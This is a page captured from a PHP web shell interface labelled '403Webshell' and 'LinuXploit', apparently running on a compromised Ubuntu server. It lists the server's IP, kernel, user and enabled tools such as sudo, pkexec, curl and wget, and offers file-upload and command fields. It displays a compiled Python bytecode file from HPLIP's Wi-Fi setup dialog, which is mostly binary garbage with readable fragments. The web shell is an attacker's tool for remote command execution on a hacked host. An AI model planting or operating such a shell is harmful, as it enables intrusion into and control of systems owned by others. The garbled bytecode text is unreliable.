403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/hplip/ui5/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/hplip/ui5/__pycache__/wifisetupdialog.cpython-310.pyc
o

�K0j�}�@s�ddlZddlZddlTddlmZmZmZmZddlTddl	m
Z
ddlTddlTddl
TddlmZdZdZdZdZd	ZdZdZdZdZdZdZd
ZdZGdd
�d
e�ZGdd�dee�Z dS)�N)�*)�device�models�wifi�LedmWifi)�
to_unicode�)�	Ui_Dialog�����c@seZdZdd�ZdS)�DeviceTableWidgetItemcCst�||tj�||_dS�N)�QTableWidgetItem�__init__�UserType�
device_uri)�self�textr�r�'/usr/share/hplip/ui5/wifisetupdialog.pyr>s
zDeviceTableWidgetItem.__init__N)�__name__�
__module__�__qualname__rrrrrr=src@sReZdZe�ZdPdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Ze d9�fd:d;�Z!d<d=�Z"d>d?�Z#d@dA�Z$dBdC�Z%dDdE�Z&e'fdFdG�Z(dHdI�Z)dJdK�Z*dQdLdM�Z+dNdO�Z,dS)R�WifiSetupDialogNTcCs�t�||�|�|�||_i|_i|_d|_d|_d|_d|_	d|_
t|_i|_
d|_t|_d|_d|_||_|��d|_t|_t�d|j�dS)N�F�usb�0.0.0.0�Wifi0r)�QDialogr�setupUir�devices�networks�ssid�directed�
show_extended�bus�search�	PAGE_EXIT�max_page�location_cache�dev�SUCCESS_NOT_CONNECTED�success�ip�hn�
standalone�initUi�adapterNamer�wifiObj�QTimer�
singleShot�
showIntroPage)r�parentrr2rrrrFs*
zWifiSetupDialog.__init__cCs�|�ttdd���|jj�|j�|jj�|j�|j	j�|j
�t�tjtj
�|��|��|��|��|��dS)N�hp_logo�128x128)�
setWindowIcon�QIcon�load_pixmap�CancelButton�clicked�connect�CancelButton_clicked�
BackButton�BackButton_clicked�
NextButton�NextButton_clicked�signal�SIGINT�SIG_DFL�
initIntroPage�initDevicesPage�initNetworkPage�initConfigWifiPage�initExitPage�rrrrr3iszWifiSetupDialog.initUicCsV|j�tdd��|j�tdd��|jr |j�|�d��dS|j�|�d��dS)N�usb_connection�other�info�16x16a�This utility allows you configure your wireless capable printer using a temporary USB connection. You will be prompted to disconnect the USB cable once wireless network setup is complete.

<p><i>Note: This configuration utility does not setup (install) your printer on this computer. Use hp-setup to setup your printer after it has been configured on the network by this utility.</i></p>
<p><i>Note: Only select wireless capable printers are supported by this utility.</i></p>a�This utility allows you configure your wireless capable printer using a temporary USB connection. You will be prompted to disconnect the USB cable once wireless network setup is complete.

<p><i>Note: Printer setup (installation) will continue after your printer is configured on the network.</i></p>
<p><i>Note: Only select wireless capable printers are supported by this utility.</i></p>)�Picture�	setPixmapr>�InfoIconr2�MainTitleLabel�setText�_WifiSetupDialog__trrOrrrrJ}s
zWifiSetupDialog.initIntroPagecCs&|j�d�|j�d�|�t�dS)NFT)rC�
setEnabledrE�displayPage�
PAGE_INTROrOrrrr8�szWifiSetupDialog.showIntroPagecCs|jj�|j�dSr)�
RefreshButtonr@rA�RefreshButton_clickedrOrrrrK�szWifiSetupDialog.initDevicesPagecCsp|j�d�|�t�t�zD|jsNt�d�dtj	t
fi}zddlm}Wnt
y4t�d�Yn
wt�|�td�t�t�|jgdd||j�|_Wt�nt�w|��|jr�|j�d�|j�tdd	��t|j�d
kr~|j�|�d��n|j�|�dt|j���|��n |j�d
�|j�tdd	��t�d|j�|j�|�d��|� t!�dS)NTzSearching on USB bus...�wifi-configr)�
smart_installz+Failed to Import smart_install.py from base�qt4rRrSrzF<b>1 wireless capable device found.</b> Click <i>Next</i> to continue.zi<b>%s wireless capable devices found.</b> Select the device to install and click <i>Next</i> to continue.F�errorzNo devices found on bus: %sz|<b>No wireless capable devices found.</b><br>Plug in your printer with a USB cable and click <i>Refresh</i> to search again.)"rCrZ�
setNextButton�BUTTON_NEXT�beginWaitCursorr#�logrR�operator�gt�WIFI_CONFIG_NONE�baser`�ImportErrorrb�
endWaitCursor�disable�GUI_MODEr�probeDevicesr(r)�clearDevicesTablerE�DevicesFoundIconrUr>�len�DevicesFoundLabelrXrY�loadDevicesTabler[�PAGE_DEVICES)r�filter_dictr`rrr�showDevicesPage�s>

��
zWifiSetupDialog.showDevicesPagec
Cs|j�d�|j�t|j��|�d�|�d�g}d}|j�t|��|j�|�tj	tj
B}t|j�D]>\}}t�
|�\	}}}}	}
}}}
}t�|	�}tt|�|�}|�|�|j�|d|�tt|��}|�|�|j�|||�q4|j��|j�d�|j�d�|j�d�dS)NF�Modelz
Device URIrrT)�DevicesTableWidget�setSortingEnabled�setRowCountrrr#rY�setColumnCount�setHorizontalHeaderLabels�Qt�ItemIsSelectable�
ItemIsEnabled�	enumerater�parseDeviceURIr�normalizeModelUINamer�str�setFlags�setItemr�resizeColumnsToContents�	sortItems�	selectRow)r�headers�device_uri_col�flags�row�d�back_end�is_hpr(�model�serial�dev_file�host�zc�port�model_ui�irrrrt�s(



z WifiSetupDialog.loadDevicesTablecC�&|j��|j�d�|j�d�dS�Nr�ry�clearr{r|rOrrrrp��
z!WifiSetupDialog.clearDevicesTablecCs |��g|_t�d|j�dSr�)rpr#r6r7rwrOrrrr^��z%WifiSetupDialog.RefreshButton_clickedcCs~|j�tdd��|j�d�|jjt�|j�|j	j�|j
�|jjt�|j�|j
jt�|j�|jj�|j�dS)N�"rF)�NetworksTableWidget�setIconSize�QSize�ShowExtendedCheckBox�
setCheckedr@�boolrA�ShowExtendedCheckBox_clicked�SearchPushButton�SearchPushButton_clicked�UndirectedRadioButton�UndirectedRadioButton_clicked�DirectedRadioButton�DirectedRadioButton_clicked�itemSelectionChanged�(NetworksTableWidget_itemSelectionChangedrOrrrrL�szWifiSetupDialog.initNetworkPagec
Cs�|jdur@z	t�|j�|_Wn1ty?}z%t||�d�|jt|j�f�|jdur0|j�	�|�	�WYd}~dSd}~ww|j
��d|_z	|j
�|j�}Wntyi}z|�|�WYd}~dSd}~wwt|�dkr�t||�d��|jdur�|j�	�|�	�t�d�z|j
�|j|�\|_|_}}Wnty�}z|�|�WYd}~dSd}~ww|jdkr�t||�d��|jdur�|j�	�t�d|j�t�d|j�t�d	|�t�d
|�|��|�t�|�t�dS)Nz0<b>Error opening device:</b><p>%s</p><p>(%s)</p>rz4<b>Unable to locate wireless hardware on device.</b>zTurning on wireless radio...���z*<b>Unable to turn on wireless adaptor.</b>zAdaptor ID: %szAdaptor name: %szAdaptor state: %szAdaptor presence: %s)r-r�Devicer�Error�	FailureUIrYr��msg�closer$r��num_networksr5�getWifiAdaptorID�showIOErrorrrrf�debug�setAdaptorPower�
adaptor_idr4�performScanrcrdr[�PAGE_NETWORK)r�e�adaptor_list�state�presencerrr�showNetworkPagesX
 

��
	
��


 
��



zWifiSetupDialog.showNetworkPagec
Cs�t�zvt|j���|_|jrB|jrBz|j�|j|j	|j�|_
WnOtyA}z|�|�WYd}~W|j�
�t�dSd}~wwz|j�|j|j	�|_
Wn!tyo}z|�|�WYd}~W|j�
�t�dSd}~wwW|j�
�t�n	|j�
�t�w|j
d|_|��|jr�|j�d�|j�tdd��|jdkr�|j�|�d��n|j�|�d|j��|��dS|j�d�|j�td	d��t�d
�|j�|�d��dS)N�numberofscanentriesTrRrSrz�<b>1 wireless network found. </b> If the wireless network you would like to connect to is not listed, try entering a wireless network name and/or press <i>Search</i> to search again.z�<b>%d wireless networks found.</b> If the wireless network you would like to connect to is not listed, try entering a wireless network name and/or press <i>Search</i> to search again.FrbzNo wireless networks found.zo<b>No wireless networks found.</b><br>Enter a wireless network name and/or press <i>Search</i> to search again.)rer�SSIDLineEditrr%r&r5r�r-r4r$r�r�r�rlr��clearNetworksTablerErZ�NetworksFoundIconrUr>�NetworksFoundLabelrXrY�loadNetworksTablerf�warning�rr�rrrr�3sP


��


���

�

zWifiSetupDialog.performScancCs||_|��dSr)r'r��r�brrrr�[sz,WifiSetupDialog.ShowExtendedCheckBox_clickedcCs|��|��dSr)r�r�rOrrrr�`sz(WifiSetupDialog.SearchPushButton_clickedcCs||_|j�|�dSr�r&r�rZr�rrrr�esz-WifiSetupDialog.UndirectedRadioButton_clickedcCs||_|j�|�dSrr�r�rrrr�jsz+WifiSetupDialog.DirectedRadioButton_clickedcCs�dtd�|_|_|j�rot��zS|jr�t|j�D]m}|jd|}|jd|}z|j|Wn>t	yot
�||�}|�dd�}|jd|<|�dd�}|jd	|<|�d
d�}|jd|<|||f|j|<Yqw|j|\|jd|<|jd	|<|jd|<q|j
�d�|j
�|j�|�d
�|�d�|�d�|�d�g}|jr�|�|�d�|�d�|�d�|�d�g�|j
�t|��|j
�|�tjtjB}	t|j�D�]`}|jd|}
|
dkr�d}n|	}|jd|}|jd|}|jd|}
t�d||
|||
f�|j�rH|jd|}|jd|}|jd|}|jd|}|jd|}|jd	|}t�d|||||||f�tt|
��}|du�rX|�|�|�tj|�|j
�|d|�t d|d�}|j�r�tt!|�|�d||f��}ntt!|�|�d |��}|du�r�|�|�|j
�|d!|�tt|��}|du�r�|�|�|j
�|d"|�tt|
��}|du�r�|�|�|j
�|d#|�|j�r9ttt|���}|du�r�|�|�|j
�|d$|�tt|��}|du�r�|�|�|j
�|d%|�tt|��}|du�r|�|�|j
�|d&|�ttd'||f��}|du�r1|�|�|j
�|d(|�q�|j
�"�|j
�d)�|j
�#d!tj$�|j
�%d�|j
j&�'�Wt(�|j)�*d)�dSt(�|j)�*d)�w|j)�*d�dS)*Nrrzbssid-%d�signalstrength-%d�latitude�Unknownzlatitude-%d�	longitudezlongitude-%d�addressz
address-%dFzNetwork Name (SSID)zSignal Strength�Security�Mode�ChannelzAddress (BSSID)�LocationzLat/Longzssid-%dz	(unknown)�encryptiontype-%d�communicationmode-%dz.%d: Name=%s, strength=%s, security=%s, mode=%sz
channel-%dzdbm-%dz8%d: channel=%d bssid=%s dbm=%s lat=%s long=%s address=%s�signal%drQz
%s/5 (%s dBm)z%s/5rr
rr��z%s/%s�T)+r�n�networkr�rer'�ranger$r,�KeyErrorr�getLocation�getr�rzr{rY�extendr|rrr}r~rr�rfr�rr�r��setData�UserRoler�r>r=r�r��DescendingOrderr�r��emitrlrErZ)rr��bssid�ss�location�lat�lngr�r��
enabled_flags�namer��sec�mode�chn�dbmr��pixmaprrrr�os��(������
�z!WifiSetupDialog.loadNetworksTablecCsj|j��}|j�|d�}t|�tj��\}}|r3|jd|}|��dkr,|�	t
�dS|�	t�dSdS)Nrr��none)r��
currentRow�item�	value_int�datar~r�r$�lowerrc�BUTTON_CONNECTrd)rr�r�r��okr�rrrr��s
�z8WifiSetupDialog.NetworksTableWidget_itemSelectionChangedcCr�r�r�rOrrrr��r�z"WifiSetupDialog.clearNetworksTablecCs |��i|_t�d|j�dSr�)r�r$r6r7r�rOrrr�RefreshButton2_clicked�r�z&WifiSetupDialog.RefreshButton2_clickedcCs|jjt�|j�dSr)�ShowKeyCheckBox�toggledr�rA�ShowKeyCheckBox_toggledrOrrrrM�sz"WifiSetupDialog.initConfigWifiPagecCs�|�t�|j�|j�t�}|�d�|j�|�|j�t	��|j
�d�|j�
td|jd��|j�
tdd��|j�
tdd��d	|j��vrS|j�d
�n
d|j��vr`|j�d
�|j��|j�tj�|�t�dS)N�Fr�rQrRrS�keys�32x32�wpaT�wep)rcr��	SSIDLabelrXr��QFont�setPointSize�setFont�KeyLineEditr�r�r��StrengthIconrUr>r��
ConfigureIcon�KeysIcon�securityr��WPARadioButton�WEPRadioButton�setFocus�setEchoMode�	QLineEdit�Passwordr[�PAGE_CONFIGURE_WIFI)r�fontrrr�showConfigWifiPages"


z"WifiSetupDialog.showConfigWifiPagecCs(|r|j�tj�dS|j�tj�dSr)rrr�Normalrr�rrrr�sz'WifiSetupDialog.ShowKeyCheckBox_toggledcCsJ|jjt�|j�t|�|_|jj�|j�g|_	d|_
|j�d�dS)Nrr)�PageSpinBox�valueChanged�intrA�PageSpinBox_valueChangedr6�RefreshTimer�timeout�RefreshTimer_timeout�pages�
page_index�
setMinimumrOrrrrN%s
zWifiSetupDialog.initExitPagec
CsJ|�t�|j�d�|j�d�|j�t|j��d|_	d|_
t|_t
�zvzJ|j�|j|j�\|_	}}}}}}|j	dkrN|j�|j|j�\|_	}}}}}|j�|j|j�}|j�|j|j|j|j�\}}	}
}|j�|j�|_
Wn!ty�}z|�|�WYd}~W|j��t�dSd}~wwW|j��t�n	|j��t�w	t|_|j	dkr�t|_g|_|jtkr�|j�|� dt!�t"d	d
�f�|j#�$t!d�nJ|jtkr�|j�|� d|j	�t"d
d
�f�|j�d�|j%�d�|j#�&�n"|j�|� d|j	�t"dd
�f�|j�d�|j%�d�|j#�&�|du�r,|j'�|� d��n|j'�t|��|j
du�rD|j(�|� d��n	|j(�t|j
��|j)�t|j	��|j*�t|��|j+�t|��|j�d�|j,�td|
||f��|j-�.t"d|
d��|D]G\}
}|
�r�|��}|�/d��r�t"dd
�}n|�/d��r�t"d
d
�}n|�/d��r�t"d	d
�}nt"dd
�}|j�t0�1dt|
��2d��|f��q�t3|j�}|j4�5|�|j4�|dk�|j4�6d�|j7�|dk�|j8�|dk�|j7�|� dt|���d|_9|j:�|j|j9d�|j;�.|j|j9d�|�<t=�dS)NFTrr�dhcp�default�autoipa,<b>Your printer has not been connected to the wireless network.</b> A valid connection to a wireless network can take up to 2 minutes. This screen will automatically refresh every %s seconds.<p>If your printer fails to connect within a reasonable time, there may be a problem with your configuration.rbrSi�z�Your printer has been connected to the wireless network and has been assinged a IP. Now run <pre>hp-setup %s</pre>  If IP is not accessible, try again for another IP.r�z�Your printer has been successfully configured on the wireless network. You may now unplug the USB cable. To setup the printer, now run <pre>hp-setup %s</pre>rRr�z%s/%s (%s dBm)r�rQ�warn�critzvsa_%srrzof %sr)>rc�
BUTTON_FINISHrErZr?�SSIDLabel_2rXr�r�r0r1r.r/rer5�getIPConfigurationr-r4�getwifiotherdetails�getVSACodes�getSignalStrengthr��getHostnamer�r�r�rlr��SUCCESS_CONNECTED�SUCCESS_AUTO_IPr�appendrY�REFRESH_INTERVALr>r�startrC�stop�AddressModeLabel�
HostnameLabel�IPAddressLabel�GatewayLabel�DNSLabel�SignalStrengthLabel�SignalStrengthIconrU�
startswithr�queryString�zfillrrr�
setMaximum�setValue�	PageLabel�
PageLabel2r�	ExitLabel�ExitIconr[r*)r�_�addressmode�
subnetmask�gateway�pridns�sec_dns�	vsa_codes�ss_max�ss_min�ss_val�ss_dbmr��c�sr�r��	num_pagesrrr�showExitPage/s�
"
 "


���

�

 
""


$�
zWifiSetupDialog.showExitPagecCs>|d|_|j�|j|jd�|j�|j|jd�dS)Nrr)rrArXrrBrU)rr�rrrr�s
z(WifiSetupDialog.PageSpinBox_valueChangedcCs|��dSr)rQrOrrrr�sz$WifiSetupDialog.RefreshTimer_timeoutrc
Cst�z>z|j�|j|j�\}}}Wnty.}z|�|�WYd}~Wt�dSd}~wwt�	d|�t�	d|�Wt�nt�wt�z5z|j�
|j|j|j|j|j
|�Wntyx}z|�|�WYd}~Wt�dSd}~wwWt�dSt�w)NzCrypto algorithm: %szCrypto mode: %s)rer5�getCryptoSuiter-r4r�r�rlrfr��	associater�r�r)r�key�algr��secretidr�rrrrS�s2

��$

���zWifiSetupDialog.associatec	Cs&|j��}|tkr|��dS|tkrQ|j��}|dkrK|j�|d�j|_t	�
|j�|_|�|jd�t	�
|j�\	}}}}}}}	}
}t�|���|_|��dS|tkr�d|_d|_d|_|j��}|dkr�|j�|d�}|dur�t|���|_t�d|j�t|�tj ��\|_!}
|
r�|j"d|j!|_t�d|j�|j"d	|j!|_t�d
|j�|j"d|j!|_t�d|j�|j��d
kr�|�#�dS|�$�|�%�|�&�dS|t'kr�t|j(���}|�$|�|�%�|�&�dS|t)k�r|j*du�r|j*�+�|�+�dSt�,d�dS)Nr�rr_�None�InfrastructurezSelected network SSID: %sr�zSecurity: %sr�zMode: %sr�zSignal strength: %sr��
Invalid page!)-�
StackedWidget�currentIndexr\rwruryr�r�rr�queryModelByURI�mq�
getWifiObjectr�r�normalizeModelNamer�r�r�r�rr�r�r�rrr�rfr�r�r�r~r�r�r$rrS�showAssociateProgressDialogrQrrr*r-r�rb)r�pr�r�r�r(r�r�r�r�r�r�r�r�rTrrrrF�sZ





z"WifiSetupDialog.NextButton_clickedcCs�t|�d�|�d�dt|�}|�|�d��|�tj�|�d�|��d}t	t�D]}|�
|�t�d�t
��|��rCd}nq+|�
t�|��|r_|jdurY|j��|��dSdS)Nz9Waiting for printer to connect to the wireless network...�Cancelrz"HP Device Manager - Please wait...FrT)�QProgressDialogrY�ASSOCIATE_DELAY�setWindowTitle�setWindowModalityr~�WindowModal�setMinimumDuration�	forceShowr�r>�QThread�sleep�qApp�
processEvents�wasCanceledr�r-)r�AssociateProgressDialog�canceled�xrrrr`�s*


�


�z+WifiSetupDialog.showAssociateProgressDialogcCs�|j��}|tkri|_|��dS|tkr|��dS|tkr&|��dS|t	krB|j
��|j�
�dkr<|��dS|��dSt�d�dS)Nr�rY)rZr[rur#r8r�rwrr�r*rr2rr�rrfrb�rrarrrrDs

z"WifiSetupDialog.BackButton_clickedcCs |jdur
|j��|��dSr)r-r�rOrrrrB/s

z$WifiSetupDialog.CancelButton_clickedcCs|j�|�|�|�dSr)rZ�setCurrentIndex�updateStepText)r�pagerrrr[6szWifiSetupDialog.displayPagecCs^|tkr|j�|�d��dS|tkr|j�|�d��dS|tkr-|j�|�d��dSdS)NzNext >�Finish�Connect)rdrErXrYr&r�)r�typrrrrc;s�zWifiSetupDialog.setNextButtoncCs(|j�|�d|d|jdf��dS)Nz
Step %s of %sr)�StepTextrXrYr+rrrrrrtFs(zWifiSetupDialog.updateStepTextcCs:t||�dt|j���|jdur|j��|��dS)Nzf<b>An I/O error occurred.</b><p>Please check the USB connection to your printer and try again.</p>(%s))r�rYr�r�r-r�r�rrrr�Js

zWifiSetupDialog.showIOErrorcCst�d||�S)Nr)rl�	translate)rrOrNrrr�__trSszWifiSetupDialog.__trcCs|tkr	t|_dSt|_dSr)�WIFI_CONFIG_LEDMrr5r)r�wifiConfValrrrr^Xs

zWifiSetupDialog.getWifiObject)NTr)-rrr�
pyqtSignalr�rr3rJr8rKrwrtrpr^rLr�r�r�r�r�r�r�r�r�r�rMrr�rNrQrrrrSrFr`rDrBr[r&rcrtr�rYr^rrrrrCsP
#.

2(t

f>
	r)!rgrG�base.grjrrrr�
base.codes�base.sixextr�ui_utils�PyQt5.QtCore�PyQt5.QtGui�wifisetupdialog_baser	r\rur�rr*rdr&r�r.r.r-rdr0rrr!rrrrr�<module>s2

Youez - 2016 - github.com/yon3zu
LinuXploit